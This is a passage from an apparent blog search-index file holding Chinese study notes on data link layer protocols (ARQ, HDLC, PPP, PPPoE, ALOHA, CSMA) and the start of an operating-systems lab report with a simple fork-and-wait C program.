src=\"https://xeonds.github.io/img/Pasted%20image%2020230524213723.png\"/\u003e\u003c/p\u003e\u003cp\u003e如上图,帧有四部分:已确认的帧、发送但未确认的帧、能被发送但还没收到上层数据的帧、不能发送的帧(窗口大小以外的帧)。窗口大小在这个协议中是$S_{size}=2^m-1$。还有两个变量$S_f$和$S_n$,分别是第一个待处理的帧、下一个要发送的帧。\u003c/p\u003e\u003cp\u003e当收到确认帧时,发送窗口右划;一个ACK帧可以确认一个以上的帧,这加快了传输效率。但是当第一帧没有收到,之后收到的很多帧都需要作废重传,非常浪费时间。\u003c/p\u003e\u003ch4 id=\"利用率\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%88%A9%E7%94%A8%E7%8E%87\" class=\"headerlink\" title=\"利用率\"\u003e\u003c/a\u003e利用率\u003c/h4\u003e\u003cp\u003e各种ARQ协议的利用率计算是一个经常考察的点,其实答案基本很固定。首先是思路,ARQ协议利用率计算时,假设收发时间相等,然后计算所有发送的帧中,数据帧的占比即可得到。\u003c/p\u003e\u003cul\u003e\u003cli\u003e停止等待ARQ:发送一次接收一次:50%\u003c/li\u003e\u003cli\u003e回退N帧ARQ:发送N帧接收一次:(1/N+1)%\u003c/li\u003e\u003cli\u003e选择性重复ARQ:不知道)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"选择性重复ARQ(Selective-Repeat-ARQ)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E9%80%89%E6%8B%A9%E6%80%A7%E9%87%8D%E5%A4%8DARQ%EF%BC%88Selective-Repeat-ARQ%EF%BC%89\" class=\"headerlink\" title=\"选择性重复ARQ(Selective Repeat ARQ)\"\u003e\u003c/a\u003e选择性重复ARQ(Selective Repeat ARQ)\u003c/h4\u003e\u003cp\u003e可在一个帧被损坏时,不必重发N个帧。它主要是针对接收方的更改。\u003c/p\u003e\u003ch3 id=\"高级数据链路控制(HDLC)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E9%AB%98%E7%BA%A7%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E6%8E%A7%E5%88%B6%EF%BC%88HDLC%EF%BC%89\" class=\"headerlink\" title=\"高级数据链路控制(HDLC)\"\u003e\u003c/a\u003e高级数据链路控制(HDLC)\u003c/h3\u003e\u003cp\u003eHDLC(High-level Data Link Control)是一个实际应用的面向比特的数据链路协议,支持点到点链路和多点链路。具体实现了本章讨论的各种ARQ协议。具有两种通用传输模式:\u003c/p\u003e\u003cul\u003e\u003cli\u003en正常响应方式(Normal Response Mode,NRM)\u003c/li\u003e\u003cli\u003en异步平衡方式(Asynchronous Balanced Mode,ABM)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"Configurations-and-Transfer-Modes-配置和传输方式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Configurations-and-Transfer-Modes-%E9%85%8D%E7%BD%AE%E5%92%8C%E4%BC%A0%E8%BE%93%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"Configurations and Transfer Modes 配置和传输方式\"\u003e\u003c/a\u003eConfigurations and Transfer Modes 配置和传输方式\u003c/h4\u003e\u003cp\u003e配置方式有非平衡/平衡两种。第一种是主从配置方式,第二种是对等方式。\u003c/p\u003e\u003col\u003e\u003cli\u003e非平衡配置方式\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e主站与从站:一组结点根据在通信过程中的地位分为主站与从站,由主站来控制数据链路的工作过程。主站发出命令,从站接受命令,发出响应,配合主站工作。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e点对点方式与多点方式:分为点对点方式与多点方式两种类型,在多点方式的链路中,主站与每个从站之间分别建立数据链路。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e正常响应模式与异步响应模式:分为正常响应模式与异步响应模式两种数据传输方式。在正常响应模式中,主站可随时向从站传输数据帧。只有在主站向从站发送命令帧探询,从站响应后才可以向主站发送数据帧。在异步响应模式中,主站和从站可以随时相互传输数据帧,从站不需要等待主站发出探询就可以发送数据帧,但是主站仍然负责数据链路的初始化、建立、释放与差错恢复等功能。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e平衡配置方式\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e链路两端的两个站都是复合站,复合站同时具有主站与从站的功能,每个复合站都可以发出命令与响应。平衡配置方式只有异步平衡模式一种工作模式,每个复合站都可以发起数据传输,而不需要得到对方的许可。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"Frames-HDLC的帧格式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Frames-HDLC%E7%9A%84%E5%B8%A7%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"Frames HDLC的帧格式\"\u003e\u003c/a\u003eFrames HDLC的帧格式\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235215.png\"/\u003e\u003c/p\u003e\u003cp\u003e如图所示,上面是三种帧结构,分别是\u003cstrong\u003e信息帧,管理帧,无编号帧\u003c/strong\u003e。它的控制字段如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235430.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"Control-Field-HDLC的帧控制字段\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Control-Field-HDLC%E7%9A%84%E5%B8%A7%E6%8E%A7%E5%88%B6%E5%AD%97%E6%AE%B5\" class=\"headerlink\" title=\"Control Field HDLC的帧控制字段\"\u003e\u003c/a\u003eControl Field HDLC的帧控制字段\u003c/h4\u003e\u003cp\u003e其中,管理帧的控制字段如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e准备接收RR,字段标识是00\u003c/li\u003e\u003cli\u003e不准备接收RNR,字段标识是10\u003c/li\u003e\u003cli\u003e拒绝接收REJ,字段标识是01\u003c/li\u003e\u003cli\u003e选择性拒收SREJ,字段标识是11\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e无编号帧的指令和响应更加复杂:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235556.png\"/\u003e\u003c/p\u003e\u003cp\u003e一般来讲,HDLC中常用的是对等异步控制模式。这种模式下,链接的建立和拆除如下图所示。使用4个U-frame帧来建立和断开连接。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235746.png\"/\u003e\u003c/p\u003e\u003cp\u003e而进行数据通信时,基本使用I-frame信息帧捎带指令。如果发生数据丢失等情况,则未接收到的一方使用S-frame来告知另一方重发。\u003c/p\u003e\u003ch3 id=\"POINT-TO-POINT-PROTOCOL-点到点协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#POINT-TO-POINT-PROTOCOL-%E7%82%B9%E5%88%B0%E7%82%B9%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"POINT-TO-POINT PROTOCOL 点到点协议\"\u003e\u003c/a\u003ePOINT-TO-POINT PROTOCOL 点到点协议\u003c/h3\u003e\u003cp\u003e高级数据链路控制协议是点到点和点到多点都能使用的一个通用协议,但最通用的协议还是点到点协议(Point-to-Point Protocol,PPP),使用面向字节的方式。\u003c/p\u003e\u003cp\u003e它的帧格式如下图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613000141.png\"/\u003e\u003c/p\u003e\u003cp\u003e特点如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e简单:不提供可靠传输,无流量控制,无重传机制,网络开销小,速度快\u003c/li\u003e\u003cli\u003e封装成帧:首部和尾部,帧开始符,帧结束符\u003c/li\u003e\u003cli\u003e透明传输:可传输任意比特组合的数据,加转义字符,收到后去掉转义字符\u003c/li\u003e\u003cli\u003e差错检测:CRC计算帧校验序列FCS\u003c/li\u003e\u003cli\u003e支持多种网络层协议:IPv4和IPv6网络层协议都可以封装到PPP帧中\u003c/li\u003e\u003cli\u003e多种类型链路:光纤、铜线,同步传输、异步传输,串行、并行链路均可\u003c/li\u003e\u003cli\u003e最大传送单元:1500字节\u003c/li\u003e\u003cli\u003e网络层地址协商:能够为拨号的一端分配IP地址、子网掩码、网关和DNS\u003c/li\u003e\u003c/ul\u003e\u003cp\u003ePPP是面向字节的协议,通过转义字节01111101进行透明插入和删除。\u003c/p\u003e\u003ch3 id=\"PPPoE协议(PPP-Over-Ethernet)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#PPPoE%E5%8D%8F%E8%AE%AE%EF%BC%88PPP-Over-Ethernet%EF%BC%89\" class=\"headerlink\" title=\"PPPoE协议(PPP Over Ethernet)\"\u003e\u003c/a\u003ePPPoE协议(PPP Over Ethernet)\u003c/h3\u003e\u003cp\u003e•用于实现PPP在以太网上的传输。\u003cbr/\u003e•是为了满足越来越多的宽带上网设备(如ADSL—最初是静态IP 、无线、有线电视等)和越来越快的网络之间的通信而指定开发的标准,它给出了两个广泛的接受的标准:以太网和PPP拨号协议。\u003cbr/\u003e•PPPoE就是将PPP数据承载到以太网上,实质是在共享介质的网络中提供一条逻辑上的点到点链路(Session ID)。\u003cbr/\u003e•PPPoE主要协议标准:RFC2516\u003c/p\u003e\u003cp\u003e它广泛利用在ADSL接入方式中。通过它,可以实现高速宽带网的个人身份验证访问,为每个用户创建虚拟拨号连接,来高速连接到Internet。\u003c/p\u003e\u003ch2 id=\"Chap-12-多路访问\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Chap-12-%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE\" class=\"headerlink\" title=\"Chap.12.多路访问\"\u003e\u003c/a\u003eChap.12.多路访问\u003c/h2\u003e\u003cp\u003e数据链路层分为\u003cstrong\u003e逻辑链路控制子层LLC\u003c/strong\u003e和\u003cstrong\u003e介质访问控制子层MAC\u003c/strong\u003e。后者的协议可以分为以下几类:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613000817.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"随机访问协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E9%9A%8F%E6%9C%BA%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"随机访问协议\"\u003e\u003c/a\u003e随机访问协议\u003c/h3\u003e\u003cp\u003e没有一个站点是优于其它站点的,也不能控制其它站点。没有站点有权力允许或不允许其它站点发送或不发送数据。有数据要发送的站通过自身的协议决定发送还是不发送数据。\u003c/p\u003e\u003cp\u003e在链路中,为了让多方向的通信不至于冲突,因此有了底下几个协议。\u003c/p\u003e\u003ch4 id=\"ALOHA协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#ALOHA%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"ALOHA协议\"\u003e\u003c/a\u003eALOHA协议\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613002735.png\"/\u003e\u003c/p\u003e\u003cp\u003e在这种传输过程中,无冲突相关的计算:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613003239.png\"/\u003e\u003c/p\u003e\u003cp\u003e它的吞吐量是$S=G\\times e^{-2G}$,当$G=1/2$时,取到最大值$S_{max}=0.184$。\u003c/p\u003e\u003cp\u003e此外,还存在时隙ALOHA:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613003513.png\"/\u003e\u003c/p\u003e\u003cp\u003e它可能的冲突时间等于帧传播时间。它的\u003c/p\u003e\u003ch4 id=\"CSMA-载波侦听多路访问协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#CSMA-%E8%BD%BD%E6%B3%A2%E4%BE%A6%E5%90%AC%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"CSMA-载波侦听多路访问协议\"\u003e\u003c/a\u003eCSMA-载波侦听多路访问协议\u003c/h4\u003e\u003cp\u003e三种坚持型方法的流程如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613002540.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"CSMA-x2F-CD-冲突检测CSMA\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#CSMA-x2F-CD-%E5%86%B2%E7%AA%81%E6%A3%80%E6%B5%8BCSMA\" class=\"headerlink\" title=\"CSMA/CD-冲突检测CSMA\"\u003e\u003c/a\u003eCSMA/CD-冲突检测CSMA\u003c/h4\u003e\u003cp\u003e带冲突检测的载波监听多路访问CSMA/CD (Carrier Sense Multiple Access with Collision Detection)规定了冲突处理的算法。\u003c/p\u003e\u003cp\u003e任意站点都可以发送帧,之后监控介质查看传送是否成功。如果成功,站点完成发送;如果不成功,说明存在冲突,需要重新发送此帧。\u003c/p\u003e\u003ch4 id=\"CSMA-x2F-CA-冲突避免CSMA\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#CSMA-x2F-CA-%E5%86%B2%E7%AA%81%E9%81%BF%E5%85%8DCSMA\" class=\"headerlink\" title=\"CSMA/CA-冲突避免CSMA\"\u003e\u003c/a\u003eCSMA/CA-冲突避免CSMA\u003c/h4\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/"},{"title":"操作系统实验报告","time":"2023-05-23T08:02:09Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"实验1:创建进程\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C1%EF%BC%9A%E5%88%9B%E5%BB%BA%E8%BF%9B%E7%A8%8B\" class=\"headerlink\" title=\"实验1:创建进程\"\u003e\u003c/a\u003e实验1:创建进程\u003c/h2\u003e\u003ch3 id=\"一、实验目标\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e创建子进程,读取文件\u003c/li\u003e\u003cli\u003e父进程等待子进程完成后再继续执行\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003eunistd.h\u003c/code\u003e和\u003ccode\u003estdlib.h\u003c/code\u003e以及\u003ccode\u003esys/wait.h\u003c/code\u003e。随后在主程序中调用\u003ccode\u003efork()\u003c/code\u003e创建子进程,并根据函数返回值确定进程类型,并执行相应操作。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程,使用\u003ccode\u003estdlib.h\u003c/code\u003e提供的I/O函数进行文件创建和写入工作。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。调用\u003ccode\u003ewait()\u003c/code\u003e等待子进程结束后再执行即可。\u003c/p\u003e\u003ch3 id=\"三、实验代码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE *fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e rc=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Failed to create child process.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp=fopen(\u003cspan class=\"string\"\u003e\u0026#34;./test.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;w\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(fp, \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Write finished in child process.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e wc=wait(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Parent process wait completed.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan 